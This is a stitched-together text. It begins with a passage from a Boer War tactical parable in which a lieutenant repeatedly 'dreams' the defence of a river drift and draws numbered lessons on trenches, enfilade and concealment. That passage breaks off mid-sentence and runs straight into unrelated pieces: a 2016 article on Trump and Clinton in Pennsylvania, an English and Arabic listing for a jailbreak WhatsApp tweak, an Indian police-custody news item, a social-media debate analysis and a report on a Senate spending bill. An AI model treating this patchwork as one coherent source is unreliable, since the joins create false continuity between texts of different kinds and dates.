10. Though to stop a shrapnel bullet much less actual thickness of earth is necessary than to stop a rifle bullet, yet this earth must be in the right place. For protection you [158]must be able to get right close under the cover. As narrow a trench as possible, with the sides and inside of the parapet as steep as they will stand, will give you the best chance. To hollow out the bottom of the trench sides to give extra room will be even better, because the open top of the trench can be kept the less wide. The more like a mere slit the open top of the trench is, the fewer shrapnel bullets will get in. While chewing over these lessons learnt from bitter experience, I had yet another dream.
Fourth Dream. ToC
"O wad some power the giftie gie us,
To see oursels as others see us!"
Burns.
Again did I find myself facing the same problem, this time with ten lessons to guide me. I started off by sending out patrols, as described in my last dream, but their orders were slightly different. All human beings were to be brought into our post, and any animals which could be of use to the enemy were to be shot, as we had no place for them.
For my defensive post I chose the position already described in my last dream, which seemed very suitable, for the reasons already given. We consequently dug a trench similar in plan to that already described, but, as I feared the possibility of guns being used against us, it was of a very different section. In plan it faced north generally, and was slightly broken forward to the front, each half being quite straight. In section it was about three feet six inches deep, with a parapet about twelve inches high in front of it; we made the trench as narrow as possible at the top compatible with free movement. Each man hollowed out the under part of the trench to suit himself, and made his own portion of the parapet to suit his height. The parapet was about two feet six inches thick at the top and quite steep inside, being built up of pieces of broken ant-heap, which were nearly as hard as stone.
The patrols returned shortly with their bag of a few men, women, and children. The women indulged in much [159]useless abuse, and refused to obey orders, taking the matter less philosophically than their mankind. Here was evidently an opportunity of making use of the short training I had once had as A.D.C. I tried it. I treated the ladies with tons of "tact" in my suavest manner, and repeated the only Dutch words of comfort I knew—"Al zal recht kom"—but to no purpose. They had not been brought up to appreciate tact; in fact, they were not taking any. I turned regretfully round to the color-sergeant, winked solemnly and officially, and seeing an answering but respectful quiver in his left eyelid, said:
"Color-sergeant."
"Sir?"
"Which do you think is the best way of setting alight to a farm?"
"Well, sir, some prefer the large bedstead and straw, but I think the 'armonium and a little kerosene in one corner is as neat as anything."
There was no need for more—the ladies quite understood this sort of tact; the trouble was over.
The Dutchmen and Kaffirs were at once started digging shelters for themselves and the women and children. The latter were placed together, and were put into a small ravine not far from the trench, as it was necessary to place them in a really deep trench, firstly to keep them safe, and secondly to prevent their waving or signalling to the enemy. The existence of this ravine, therefore, saved much digging, as it only required some hollowing out at the bottom and a little excavation to suit admirably.
All dug with a will, and by night the shelters for the women and children and men prisoners, and the firing trench, were nearly done. All arrangements for the guards and sentries were the same as those described in the last dream, and after seeing everything was all correct and the ladies provided with tents to crawl under (they had their own blankets), I went to sleep with a feeling of well-earned security.
At daybreak next morning, as there were no signs of any enemy, we continued to improve our trench, altering the depth and alignment where necessary, each man suiting the [160]size of the trench to his own legs. In the end the trench really looked quite neat, with the fresh red earth contrasting with the yellow of the veldt. As one of my reservists remarked, it only wanted an edging of oyster shells or ginger-beer bottles to be like his little "broccoli patch" at home. Upon these important details and breakfast a good two hours had been spent, when a force was reported to the north in the same position as described in the previous dream. It advanced in the same manner, except, of course, the advance men were met by no one at the farm. When I saw this, I could not help patting myself on the back and smiling at the Dutch ladies in the pit, who only scowled at me in return, and (whisper) spat!
The advanced party of the enemy came on, scouting carefully and stalking the farm as they came. As they appeared quite unwarned, I was wondering if I should be able to surprise them, all innocent of our presence, with a close-range volley, and then magazine fire into their midst, when suddenly one man stopped and the others gathered round him. This was when they were some 1,800 yards away, about on a level with the end of Incidentamba. They had evidently seen something and sniffed danger, for there was a short palaver and much pointing. A messenger then galloped back to the main body, which turned off behind Incidentamba with its wagons, etc. A small number, including a man on a white horse, rode off in a vague way to the west. The object of this move I could not quite see. They appeared to have a vehicle with them of some sort. The advanced party split up as already described. As all were still at long range, we could only wait.
Very shortly "boom" went a gun from the top of Incidentamba, and a shrapnel shell burst not far from us. A second and third followed, after which they soon picked up our range exactly, and the shell began to burst all about us; however, we were quite snug and happy in our nice deep trench, where we contentedly crouched. The waste of good and valuable shrapnel shell by the enemy was the cause of much amusement to the men, who were in great spirits, and, as one of them remarked, were "as cosy as cockroaches in a crack." [161]At the expenditure of many shells two men only were hit—in the legs.
After a time the guns ceased fire, and we at once manned the parapet and stood up to repel an attack, but we could see no Boers, though the air began at once to whistle and hum with bullets. Nearly all these seemed to come from the river-bank in front, to the north and north-east, and kept the parapet one continual spirt of dust as they smacked into it. All we could do was to fire by sound at various likely bushes on the river-bank, and this we did with the greatest possible diligence, but no visible result.
In about a quarter of an hour we had had five men shot through the head, the most exposed part. The mere raising of a head to fire seemed to be absolutely fatal, as it had on a former occasion when we were attempting to fire at close range over a parapet against the enemy concealed. I saw two poor fellows trying to build up a pitiful little kind of house of cards with stones and pieces of anthill through which to fire. This was as conspicuous as a chimney-pot on top of the parapet, and was at once shot to powder before they had even used it, but not before it had suggested to me the remedy for this state of affairs. Of course, we wanted in such a case "head cover" and "loopholes." As usual, I was wise after the event, for we had no chance of making them then, even had we not been otherwise harassed. Suddenly the noise of firing became much more intense, but with the smack of the bullets striking the earth all round quite close it was not easy to tell from which direction this fresh firing came. At the same time the men seemed to be dropping much oftener, and I was impressing them with the necessity of keeping up a brisker fire to the front, when I noticed a bullet hit our side of the parapet.
It then became clear, the enemy must evidently have got into the donga behind us (to which I paid no attention, as it was to the rear), and were shooting us in the back as we stood up to our parapet.
This, I thought, must be what is called being "taken in reverse," and it was.
By the time I had gathered what was happening, about a [162]dozen more men had been bowled over. I then ordered the whole lot to take cover in the trench, and only pop up to take a shot to the front or rear. But no more could be done by us towards the rear than to the front. The conditions were the same—no Boers to be seen. At this moment two of the guard from Waschout Hill started to run in to our trench, and a terrific fusillade was opened on to them, the bullets kicking up the dust all round them as they ran. One poor fellow was dropped, but the other managed to reach our trench and fall into it. He too was badly hit, but just had the strength to gasp out that except himself and the man who had started with him, all the guard on Waschout Hill had been killed or wounded, and that the Boers were gradually working their way up to the top. This was indeed cheering.
So hot was the fire now that no one could raise his head above ground without being shot, and by crouching down altogether and not attempting to aim, but merely firing our rifles over the edge of the trench, we remained for a short time without casualties. This respite, however, was short, for the men in the right half of the trench began to drop unaccountably whilst they were sitting well under cover, and not exposing themselves at all. I gradually discovered the cause of this. Some snipers must have reached the top of Waschout Hill, and were shooting straight down our right half trench. As the bullets snicked in thicker and thicker, it was plain the number of snipers was being increased.
This, I thought, must be being "enfiladed from a flank." It was so.
Without any order, we had all instinctively vacated the right half of our trench and crowded into the left half, which by great good luck could not be enfiladed from any point on the south side of the river, nor indeed by rifle-fire from anywhere, as, owing to the ground, its prolongation on the right was up above ground into the open air, and to the left did not touch ground for some 3,000 yards away on the veldt on the north bank.
Though we were huddled together quite helpless like rats in a trap, still it was in a small degree comforting to think [163]that, short of charging the enemy could do nothing. For that we fixed bayonets and grimly waited. If they did make an assault, we had bayonets, and they had not, and we could sell our lives very dearly in a rough-and-tumble.
Alas! I was again deceived. There was to be no chance of close quarters and cold steel, for suddenly we heard, far away out on the veldt to the north, a sound as of some one beating a tin tray, and a covey of little shells whistled into the ground close by the trench; two of these burst on touching the ground. Right out of rifle-range, away on the open veldt on the north, I saw a party of Boers, with a white horse and a vehicle. Then I knew. But how had they managed to hit off so well the right spot to go to to enfilade our trench before they even knew where we were?
Pompom pompompom again, and the little steel devils ploughed their way into the middle of us in our shell-trap, mangling seven men. I at once diagnosed the position with great professional acumen—we were now enfiladed from both flanks, but the knowledge was acquired too late to help us, for—
"We lay bare as the paunch of the purser's sow,
To the hail of the Nordenfeldt."
This was the last straw; there was nothing left but surrender or entire annihilation at long range. I surrendered.
Boers, as usual, sprang up from all round. We had fought for three hours, and had twenty-five killed and seventeen wounded. Of these, seven only had been hit by the shrapnel and rifle-fire from the front. All the rest had been killed or hit from the flanks, where there should be few enemies, or the rear, where there should be none! This fact convinced me that my preconceived notions as to the front, and its danger relative to the other points of the compass, needed considerable modification. All my cherished ideas were being ruthlessly swept away, and I was plunged into a sea of doubt, groping for something certain or fixed to lay hold of. Could Longfellow, when he wrote that immortal line, "Things are not what they seem," ever have been in my position?
[164]The survivors were naturally a little disheartened at their total discomfiture, when all had started so well with them in their "crack." This expressed itself in different ways. As one man said to a corporal, who was plugging a hole in his ear with a bit of rag—
"Somethink sickening, I call it, this enfilading racket; you never know which way it will take yer. I'm fairly fed up." To which the gloomy reply, "Enfiladed? Of course we've been enfiladed. This 'ere trench should have been wiggled about a bit, and then there would not have been quite so much of it. Yes, wiggled about—that's what it should have been." To which chipped in a third, "Yes, and somethink to keep the blighters from shooting us in the back wouldn't 'ave done us much 'arm, anyway."
There were evidently more things in earth than I had hitherto dreamt of in my philosophy!
As we trekked away to the north under a detached guard of Boers, many little points such as the above sank into my soul, but I could not for some time solve the mystery of why we had not succeeded in surprising the enemy. There were no men, women, children, or Kaffirs who knew of our arrival, who could have warned them. How did they spot our presence so soon, as they evidently must have done when they stopped and consulted in the morning? It was not until passing Incidentamba, as I casually happened to look round and survey the scene of the fight from the enemy's point of view, that I discovered the simple answer to the riddle. There on the smooth yellow slope of the veldt just south of the drift was a brownish-red streak, as plain as the Long Man of Wilmington on the dear old Sussex downs, which positively shrieked aloud, "Hi! hi! hi!—this way for the British defence." I then grimly smiled to think of myself sitting like a "slick Alick" in that poster of a trench and expecting to surprise anybody!
Besides having been enfiladed and also taken in reverse, we had again found ourselves at a disadvantage as compared with the concealed enemy shooting at close range, from having to show up at a fixed place in order to fire.
[165]Eventually I collected the following lessons:
11. For a small isolated post and an active enemy, there are no flanks, no rear, or, to put it otherwise, it is front all round.
12. Beware of being taken in reverse; take care, when placing and making your defences, that when you are engaged in shooting the enemy to the front of your trench, his pal cannot sneak up and shoot you in the back.
13. Beware of being enfiladed. It is nasty from one flank—far worse from both flanks.
Remember, also, that though you may arrange matters so that you cannot be enfiladed by rifle-fire, yet you may be open to it from long range, by means of gun or pompom fire. There are few straight trenches that cannot be enfiladed from somewhere, if the enemy can only get there. You can sometimes prevent being enfiladed by so placing your trench that no one can get into prolongation of it to fire down it, or you can "wiggle" it about in many ways, so that it is not straight, or make "traverses" across it, or dig separate trenches for every two or three men.
14. Do not have your trench near rising ground over which you cannot see, and which you cannot hold.
15. Do not huddle all your men together in a small trench like sheep in a pen. Give them air.
16. As once before—cover from sight is often worth more than cover from bullets.
For close shooting from a non-concealed trench, head cover with loopholes is an advantage. This should be bullet-proof and not be conspicuously on the top of the parapet, so as to draw fire, or it will be far more dangerous than having none.
17. To surprise the enemy is a great advantage.
18. If you wish to obtain this advantage, conceal your position. Though for promotion it may be sound to advertise your position, for defence it is not.
19. To test the concealment or otherwise of your position, look at it from the enemy's point of view.
Fifth Dream. ToC
"A trifling sum of misery
New added to the foot of thy account."
Dryden.
"Jack Frost looked forth one still clear night,
And he said, 'Now I shall be out of sight;
So over the valley and over the height
In silence I'll take my way.'"
Gould.
Again I faced the same task with a fresh mind and fresh hopes, all that remained with me of my former attempts being nineteen lessons.
Having detailed the two patrols and the guard on Waschout Hill as already described, I spent some twenty minutes—whilst the stores, etc., were being arranged—in walking about to choose a position to hold in the light of my nineteen lessons.
I came to the conclusion that it was not any good being near the top of a hill and yet not at the top. I would make my post on the top of Waschout Hill, where I could not be overlooked from any place within rifle-range, and where I should, I believed, have "command." I was not quite certain what "command" meant, but I knew it was important—it says so in the book; besides, in all the manœuvres I had attended and tactical schemes I had seen, the "defence" always held a position on top of a hill or ridge. My duty was plain: Waschout Hill seemed the only place which did not contravene any of the nineteen lessons I had learnt, and up it I walked. As I stood near one of the huts, I got an excellent view of the drift and its southern approach just over the bulge of the hill, and a clear view of the river further east and west. I thought at first I would demolish the few grass and matting huts which, with some empty kerosene tins and heaps of bones and débris, formed the Kaffir kraal, but on consideration I decided to play cunning, and that this same innocent-looking Kaffir kraal would materially assist me to hide my defences. I made out my plan of operations in detail, and we had soon conveyed all our stores up to the top of the hill, and started work.
[167]Upon the return of the patrols with their prisoners, the Dutchmen and "boys" were told off to dig for themselves and their females. The Kaffirs of the kraal we had impressed to assist at once.
My arrangements were as follows: All round the huts on the hill-top, and close to them we dug some ten short lengths of deep firing-trench, curved in plan, and each long enough to hold five men. These trenches had extremely low parapets, really only serving as rifle-rests, some of the excavated earth being heaped up behind the trenches to the height of a foot or so, the remainder being dealt with as described later. In most cases the parapets were provided with grooves to fire through at ground-level, the parapet on each side being high enough to just protect the head. As with the background the men's heads were not really visible, it was unnecessary to provide proper loopholes, which would have necessitated also the use of new sandbags, which would be rather conspicuous and troublesome to conceal. When the men using these trenches were firing, their heads would be just above the level of the ground. These firing-trenches having been got well under way, the communication trenches were started. These were to be narrow and deep, leading from one trench to the next, and also leading from each trench back to four of the huts, which were to be arranged as follows, to allow of men to fire standing up without being seen. Round the inside of the walls of these huts part of the excavated earth, of which there was ample, would be built up with sand bags, piece of anthill, stones, etc., to a height that a man can fire over, about four and a half feet, and to a thickness of some two and a half feet at the top, and loopholes, which would be quite invisible, cut through the hut sides above this parapet. There was room in each hut for three men to fire. In three of them I meant to place my best shots, to act as snipers, as they would have a more favorable position than the men in the trenches below, and the fourth was a conning tower for myself. All the tents and stores were stacked inside one of the huts out of sight.
That evening, in spite of the hardness of the work, which caused much grousing among my men, we had got the firing [168]trenches complete, but the others were not finished—they were only half the necessary depth. The earth-walls inside the huts were also not quite completed. The Kaffirs and Dutch had deep pits, as before, in three of the huts. Ammunition and rations were distributed round the trenches the last thing before we turned in. I also had all water-bottles and every vessel that would hold water, such as empty tins, Kaffir gourds, and cooking-pots, filled and distributed in case of a long and protracted fight. Having issued orders as to the necessity for the greatest secrecy in not giving away our position should Boers turn up early next morning, I went to sleep with confidence. We had, anyhow, a very good position, and though our communications were not quite perfect, these we could soon improve if we had any time to ourselves the next morning.
Next morning broke; no enemy in sight. This was excellent, and before daylight we were hard at it, finishing the work still undone. By this time the men had fully entered into the spirit of the thing, and were quite keen on surprising Brother Boer if possible. While the digging was proceeding, the "dixies" were being boiled for the breakfasts inside four grass-screens, some of which we found lying about, so as to show nothing but some very natural smoke above the kraal. I picked out one or two of my smartest N.C.O.'s, and instructed them to walk down the hill in different directions to the river-bank and try if they could see the heads of the men in the firing trenches against the sky. If so, the heaps of earth, tins, bones, grass-screens, etc., should be re-arranged so as to give a background to every man's head.
To review the place generally, I and my orderly walked off some half-mile to the north of the river. As we were going some distance, we doffed our helmets and wrapped ourselves in two beautiful orange and magenta striped blankets, borrowed from our Kaffir lady guests, in case any stray Boer should be lurking around, as he might be interested to see two "khakis" wandering about on the veldt. It was awkward trying to walk with our rifles hidden under our blankets, and, moreover, every two minutes we had to look around to see if the sentry at the camp had signalled any enemy in sight. [169]This was to be done by raising a pole on the highest hut. The result of our work was splendid. We saw a Kaffir kraal on a hill, and to us "it was nothing more." There were the heaps of débris usually round a kraal, looking most natural, but no heads were visible, and no trenches. There was only one fault, and that was that a few thoughtless men began, as we looked, to spread their brown army blankets out in the sun on top of the huts and on the veldt. To the veriest new chum these square blots, like squares of brown sticking-plaster all around the kraal, would have betokened something unusual. To remedy this before it was too late I hastened back.
After we had done our breakfasts, and some three hours after dawn, the sentry in one of the huts reported a force to the north. We could do nothing but wait and hope; everything was ready, and every man knew what to do. No head was to be raised nor a rifle to be fired until I whistled from my conning-tower; then every man would pop up and empty his magazine into any of the enemy in range. If we were shelled the men in the huts could at once drop into the deep trenches and be safe. Standing in my "conning-tower," from the loopholes of which I could see the drift, I thought over the possibilities before us. With great luck perhaps the Boer scouts would pass us on either side, and so allow us to lie low for the main body. With a view to seeing exactly how far I would let the latter come before opening fire, and to marking the exact spot when it would be best to give the word, I got down into the firing-trenches facing the drift and the road south to see how matters appeared from the level of the rifles. To my intense horror, I found that from these trenches neither the drift nor the road on the near bank of the river, until it got a long way south of Waschout Hill, could be seen! The bulging convexity of the hill hid all this; it must be dead ground! It was. The very spot where I could best catch the enemy, where they must pass, was not under my fire! At most, the northern loopholes of the conning tower and one other hut alone could give fire on the drift. How I cursed my stupidity! However, it was no good. I could not now start digging fresh trenches further down the hill; it would betray our whole position at once. I determined to make [170]the best of it, and if we were not discovered by the scouts, to open fire on the main body when they were just on the other side of the river bunched up on the bank, waiting for those in front. Here we could fire on them; but it would be at a much longer range than I had intended. It was really a stroke of luck that I had discovered this serious fault, for otherwise we might have let the bulk of the enemy cross the drift without discovering the little fact of the dead ground till too late. I reflected, also (though it was not much consolation), that I had erred in good company, for how often had I not seen a "brass-hat" ride along on horseback, and from that height fix the exact position for trenches in which the rifles would be little above the ground. These trenches, however, had not been put to the test of actual use. My error was not going to escape in the same way.
Meanwhile the enemy's scouts had advanced in much the same way as detailed before, except that after coming past Incidentamba Farm they had not halted suspiciously, but came on in small groups or clumps. They crossed the river in several places and examined the bushy banks most carefully, but finding no "khakis" there, they evidently suspected none on the open veldt beyond them, for they advanced "any way" without care. Several of the clumps joined together, and came on chatting in one body of some thirty men. Would they examine the kraal, or would they pass on? My heart beat. The little hill we were on would, unluckily, be certain to prove an attraction for them, because it was an excellent vantage ground whence to scan the horizon to the south, and to signal back to the main body to the north. The kraal was also a suitable place to off-saddle for a few minutes while the main body came up to the drift, and it meant possibly a fire, and therefore a cup of coffee. They rode up towards it laughing, chatting, and smoking, quite unsuspecting. We uttered no sound. Our Dutch and Kaffir guests uttered no sound either, for in their pits was a man with a rifle alongside them. At last they halted a moment some 250 yards away on the northeast, where the slope of the hill was more gradual and showed them all up. A few dismounted, the rest started again straight towards us. It was not magnificent, but it was war. I whistled.
About ten of them succeeded in galloping off, also some loose horses; five or six of them on the ground threw up their hands and came into the post. On the ground there remained a mass of kicking horses and dead or groaning men. The other parties of scouts to east and west had at once galloped back to the river, where they dismounted under cover and began to pepper us. Anyway, we had done something.
As soon as our immediate enemy were disposed of, we opened fire on the main body some 1,500 yards away, who had at once halted and opened out. To these we did a good deal of damage, causing great confusion, which was comforting to watch. The Boer in command of the main body must have gathered that the river-bed was clear, for he made a very bold move; he drove the whole of the wagons, etc., straight on as fast as possible over the odd 400 yards to the river and down the drift into the river-bed, where they were safe from our fire. Their losses must have been heavy over this short distance, for they had to abandon two of their wagons on the way to the river. This was done under cover of the fire from a large number of riflemen, who had at once galloped up to the river-bank, dismounted, and opened fire at us, and also of two guns and a pompom, which had immediately been driven a short distance back and then outwards to the east and west. It was really the best thing he could have done, and if he had only known that we could not fire on the ground to the south of the drift, he might have come straight on with a rush.
We had so far scored; but now ensued a period of stalemate. We were being fired at from the river-bank on the north, and from anthills, etc., pretty well all round, and were also under the intermittent shell-fire from the two guns. They made most excellent practice at the huts, which were soon knocked to bits, but not till they had well served their turn. Some of the new white sandbags from inside the huts were scattered out in full view of the enemy, and it was instructive to see what a splendid target they made for rifle-fire, and how often they were hit. They must have drawn a lot of fire away from the actual trenches. Until the Boers discovered that they [172]could advance south from the drift without being under rifle-fire from our position, they were held up.
Would they discover it? As they had ridden all round us by now, well out of range, they must know all about us and our isolation.
After dark, by which time we had one man killed and two wounded, the firing died away into a continuous but desultory rifle-fire, with an occasional dropping shell from the guns. Under cover of dark, I tried to guard the drift and dead ground to the south of it, by men standing up and firing at that level, but towards midnight I was forced to withdraw them into the trenches, after several casualties, as the enemy then apparently woke up and kept up a furious rifle-fire upon us for over an hour. During this time the guns went through some mysterious evolutions. At first we got it very hot from the north, where the guns had been all along. Then suddenly a gun was opened on us away from the southwest, and we were shelled for a short time from both sides. After a little the shelling on the north ceased, and continued from the southwest only for twenty minutes. After this the guns ceased, and the rifle-fire also gradually died away.
When day dawned not a living soul was to be seen; there were the dead men, horses, and the deserted wagons. I feared a trap, but gradually came to the conclusion the Boers had retired. After a little we discovered the river-bed was deserted as well, but the Boers had not retired. They had discovered the dead ground, and under the mutually supporting fire of their guns, which had kept us to our trenches, had all crossed the drift and trekked south.
True, we were not captured, and had very few losses, and had severely mauled the enemy, but they had crossed the drift. It must have evidently been of great importance to them to go on, or they would have attempted to capture us, as they were about 500 to our 50.
I had failed in my duty.
During the next few hours we buried the dead, tended the wounded, and took some well-earned rest, and I had ample leisure to consider my failure and the causes. The lessons I derived from the fight were:
[173]20. Beware of convex hills and dead ground. Especially take care to have some place where the enemy must come under your fire. Choose the exact position of your firing-trenches, with your eye at the level of the men who will eventually use them.
21. A hill may not, after all, though it has "command," be the best place to hold necessarily.
22. A conspicuous "bluff" trench may cause the enemy to waste much ammunition, and draw fire away from the actual defences.
In addition to these lessons, another little matter on my mind was what my colonel would say at my failure.
Lying on my back, looking up at the sky, I was trying to get a few winks of sleep myself before we started to improve our defences against a possible further attack, but it was no use, sleep evaded me.
The clear blue vault of heaven was suddenly overcast by clouds, which gradually assumed the frowning face of my colonel. "What? You mean to say, Mr. Forethought, the Boers have crossed?" But, luckily for me, before more could be said, the face began slowly to fade away like that of the Cheshire Puss in "Alice in Wonderland," leaving nothing but the awful frown across the sky. This too finally dissolved, and the whole scene changed. I had another dream.
Sixth Dream. ToC
"Sweet are the uses of adversity."
Once more was I fated to essay the task of defending Duffer's Drift. This time I had twenty-two lessons below my belt to help me out, and in the oblivion of my dream I was saved that sense of monotony which by now may possibly have overtaken you, "gentle reader."
After sending out the patrols, and placing a guard on Waschout Hill, as already described, and whilst the stores were being collected, I considered deeply what position I should take up, and walked up to the top of Waschout Hill to spy out the land. On the top I found a Kaffir kraal, [174]which I saw would assist me much to concealment should I decide to hold this hill. This I was very inclined to do, but after a few minutes' trial of the shape of the ground, with the help of some men walking about down below, and my eyes a little above ground-level—I found that its convexity was such that, to see and fire on the drift and the approach on the south side, I should have to abandon the top of the hill, and so the friendly concealment of the Kaffir huts, and take up a position on the open hillside some way down. This was, of course, quite feasible, especially if I held a position at the top of the hill as well, near the huts on the east and southeast sides; but, as it would be impossible to really conceal ourselves on the bare hillside, it meant giving up all idea of surprising the enemy, which I wished to do. I must, therefore, find some other place which would lend itself to easy and good concealment, and also have the drift or its approaches under close rifle-fire. But where to find such a place?
As I stood deep in thought, considering this knotty problem, an idea gently wormed itself into my mind, which I at once threw out again as being absurd and out of the |
Trump’s effort is still run through the state party.
“We are seeing a lot more activity mostly coordinated through the state GOP,” said Michael Korns, chairman of the Westmoreland County GOP, a southwestern Pennsylvania county that looks favorable to Trump.
Korns had complained last month that “the resources at our disposal are by far the worst I’ve ever seen,” but since then, he says, he’s noticed an uptick in the resources provided.
“I've spoken to the Trump campaign chairman and staff and been assured" that Pennsylvania is "a top priority for the campaign,” he said.
But even if Trump runs historically well among traditional working-class Democrats in the southwest and northeast, and among the more conservative voters in the middle of the state, he still faces the blue wall of Philadelphia and the skeptical suburbs.
“As a practical matter, southeastern Pennsylvania represents as much as 40 percent of the vote,” said a knowledgeable Pennsylvania Democrat. “It is conceivable Hillary Clinton will win those five counties by 500,000 votes, making it very difficult for anyone else to catch up. And it is the fastest-growing area. Republicans are more moderate, they will, I believe, vote in significant numbers for Hillary.”
But Clinton’s not ceding the southwest to Trump: The day after the convention, Clinton and running mate Tim Kaine launched a bus tour through Pennsylvania and Ohio, hitting Harrisburg and planning a stop in Pittsburgh before moving into eastern Ohio.
“We’re making sure that the people we can count on for our base are well-educated on the subject of Donald Trump, to make sure we aren’t losing people,” said Nancy Patton Mills, the Democratic chair of Allegheny County. “It’s very important right now," because in western Pennsylvania, "we do have some Democrats who are leftover Reagan Democrats, who may be a little more vulnerable.”Compatible with iOS 6, 7, 8 and 9
Arabic, French and English
الوصف العربي بالاسفل
Arabic description at the bottom
Unlock All Documents
- WhatsApp support limited types of files to be sent through it's application, but with WASendAny9 it's unlocked it support all types.
Send System files
- only with jailbreak users can access system files so ( with WASendAny9 you can send any file placed inside your system through WhatsApp ).
Gif support
- WhatsApp didn't support Gifs yet, so if you try sending Gif even using the new Document feature through WhatsApp the person you sent it to him ( will receive it as jpg ), but WASendAny9 fixed this issue by converting the Gif file to zip and after extracting it the Gif will works fine.
Important Notes
- WASendAny9 support tweaks won't be installed with it once you install it ( but i added an alert inside the app will reminds you once detecting that you don't have those tweaks) CLICK INSTALL TO INSTALL THEM.
VERY IMPORTANT - WhatsApp added new encryption features so once you send an zip file to someone ( he will receive it as.enc ) so he should (rename the file) by changing.enc to.zip to extract the file.
Settings placed inside WhatsApp Settings ( inside the app itself )
ــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــ
تفعيل ارسال اي مستند
الواتس اب تدعم انواع محدوده فقط من المستندات تستطيع ارسالها عبر التطبيق, ولكن مع هذه الاداة تم فك هذا الحد ليدعم جميع المستندات
إرسال ملفات النظام
فقط مع الجيلبريك المستخدم يستطيع التعامل مع ملفات النظام اذا مع هذه الاداة تستطيع ارسال اي ملف متواجد داخل النظام عبر تطبيق الواتس اب
Gif دعم صور ال
الواتس اب لم تدعم الصور المتحركو بعد, لذا اذا حاولت ارسال صورة متحركة حتي مع ميزة ارسال المستندات الجديدة الى اي شخص سيستلمها على انها صورة عاديه ثابته ولكن مع هذه الاداة قمت بحل هذه المشكله بتحويل الصورة المتحركة الى ملف مضغوط ثم ارسالها و عند فك الضغط ستعمل الصوره المتحركو بكل نجاح.
ملاحظات هامة
الاداة تدعم بعض الادوات المساعدة التى لا تثبت معها تلقائيا و لكن اضفت داخل التطبيق اشعار بتذكيرك ان لم تكن تملك هذه الادوات المساعدة مثبته بالفعل يجب الضغط على تثبيت لتثبت هذه الادوات
مهم للغاية
الواتس اب قام بدعم الرسائل المشفرة حتي مع الملفات و المستندات لذا عند ارسالك ملف مضغوط ستتحول صيغته الى
enc
لذا يجب على الطرف الاخر تحويل صيغة الملف الى
لكي يستطيع فتح الملف zip
إعدادات الاداة الان متواجده داخل الواتس اب بصفحة الاعداداتumar khalid demands steamed momos during interrogation cops give a thumb down
New Delhi: Slapped with charges of sedition, JNU students Kanhaiya Kumar, Umar Khalid and Aniraban Bhattacharya, have been in police custody for interrogation. While the Delhi Police is diligently trying to get information about the happenings in JNU campus on the D-day, something peculiar happened on Friday.
During the serious investigation, Umar Khalid asked for a plate of steamed momos from police, only to be denied.
An event organised in the JNU campus where anti-national slogans were raised, has created a nationwide stir and discussion on right to speech. During the event held under the veil of a cultural programme, few people raised pro-Afzal Guru Slogans.
The JNU student's union president Kanhaiya Kumar was arrested on February 12th while Khalid and Bhattacharya surrendered on February 25th.
The three students were earlier today questioned by the Delhi police together to get a fair understanding about the event.
Sources revealed that there have been contradictions in the statements of Umar and Anirban. While the former has denied hearing any anti-national slogans, the latter confirmed that he heard them.
The three agreed that they did not know the outsiders who were present at the event. Now, the Delhi police will analyse statements by them and compare them.
Delhi police will produce Anirban and Umar in court tomorrow as their two days remand will end.Hillary Clinton and Bernie Sanders squared off on Thursday night in the fifth Democratic debate.
It wasn’t the first time the presidential hopefuls went head to head this week as they met on Monday at the Iowa Caucus.
Monday’s vote resulted in a near tie with Clinton edging ahead, marginally. That night O’Malley suspended his campaign, so then there were two.
The debate was sanctioned mere days before the actual event which meant the moderators and candidates had to scramble to prepare. Predictably, a heated debate ensued.
Two candidates, one stage
The moderators’ opened the debate by highlighting that this debate was not about talking points but about the difference between the candidates on these points.
The debate opened with a heated debate on healthcare and education.
The differences between the candidates certainly became appartment during this exchange; one advocating fee free across the board while the other was adamant that it was not a realistic proposal.
This led onto a heated debate on political contributions that focused on the candidates’ opposing views on the subject, including Clinton’s accusation of an “artful smear” on behalf of the Sanders campaign. This topic amassed over 4,000 tweets in relation to the candidates.
Albeit, this was shadowed in comparison to what was the topic of the night – foreign policy.
The discussion on foreign affairs accumulated over 14,000 mentions on Twitter during the debate, and is also responsible for the biggest spike in mentions of the night.
This came when Sanders was asked specifically about what his foreign policy strategy would be as President – “The United States cannot do it alone. We cannot be the policemen of the world.”
Interestingly, even though the topic of marijuana was not introduced on stage it contributed to 17% of the overall conversation on social.
Social’s perspective
One of the most heated moments of the night came when the discussion unfolded on whether or not Clinton could be labeled as a ‘progressive’ candidate.
The former Secretary of State denied Sanders’ claims that she resided on the establishment end of the spectrum and used her position as woman, and the only woman in history to win the Iowa caucus, to drive this point home.
#DemDebate: As it stands @BernieSanders (48%) is getting more support from the female audience than @HillaryClintonpic.twitter.com/0soUq5Q4g0 — Brandwatch React (@BW_React) February 5, 2016
This is somewhat ironic as Bernie Sanders could boast a stronger female support on social during the course of the debate.
We also took a look at the hashtags used most frequently for these candidates.
Hashtags play no role in forecasting the results of a debate, or race, but it is interesting to note that #FeelTheBern was by far the most popular on social during the deliberations.
All’s well that ends well
Both politicians performed well during the debate despite their opposing views on many grounds. That being said, Sanders inched ahead and ended with a positive sentiment score of 66%.
There was a feeling of mutual respect as the debate drew to a close, with both candidates commending each other and respecting each other’s view.
Although, one of the moments of the night definitely went to Bernie Sanders when he declared that “On any given day we are 100% better than any Republican candidate”.
If you have debate fever then never fear because the Republicans will take the stage on Saturday in what will be the final debate before the New Hampshire Primary.
In the meantime, track your favorite candidates’ progress with our live data viz.Senate Democrats on Friday boasted that they successfully managed to get just about everything they wanted in a massive spending and tax cut bill, despite being the minority party in both the House and Senate.
"Months ago, Democrats called on Republicans to work with us to craft a budget agreement. We wanted to get rid of sequestration, we were able to do that," said Senate Minority Leader Harry Reid, D-Nev. "We wanted to make sure there is parity between defense and the middle class, we wanted to make sure that we kept these poison pills off the legislation."
"All three goals we had, we accomplished," he said. Reid said Democrats were able to beat back GOP efforts to defund Planned Parenthood, and stop plans to tighten rules for accepting refugees.
Even the lone GOP victory, ending the ban on U.S. oil exports, was matched by the extension of green energy tax credits.
"The legislation caps off a successful year for Senate Democrats," Reid said.
The Senate passed the $1.1 trillion spending and tax cut bill 65-33 Friday morning, sending it to President Obama for his signature into law.
Senate Minority Whip Dick Durbin, D-Ill., said the positive results for Democrats came after his party blocked passage of key defense bills that would have boosted defense spending, without any promise to boost domestic spending. Blocking those bills eventually forced Republicans to agree to the Democratic demands.
The final spending bill increases spending by $80 billion over the next two years, ending a large part of the sequester.
Durbin also boasted that Democrats were able to push to renew the Export-Import Bank, after it was prevented from taking on any new business since the summer. The bank was renewed as part of a long-term highway bill.
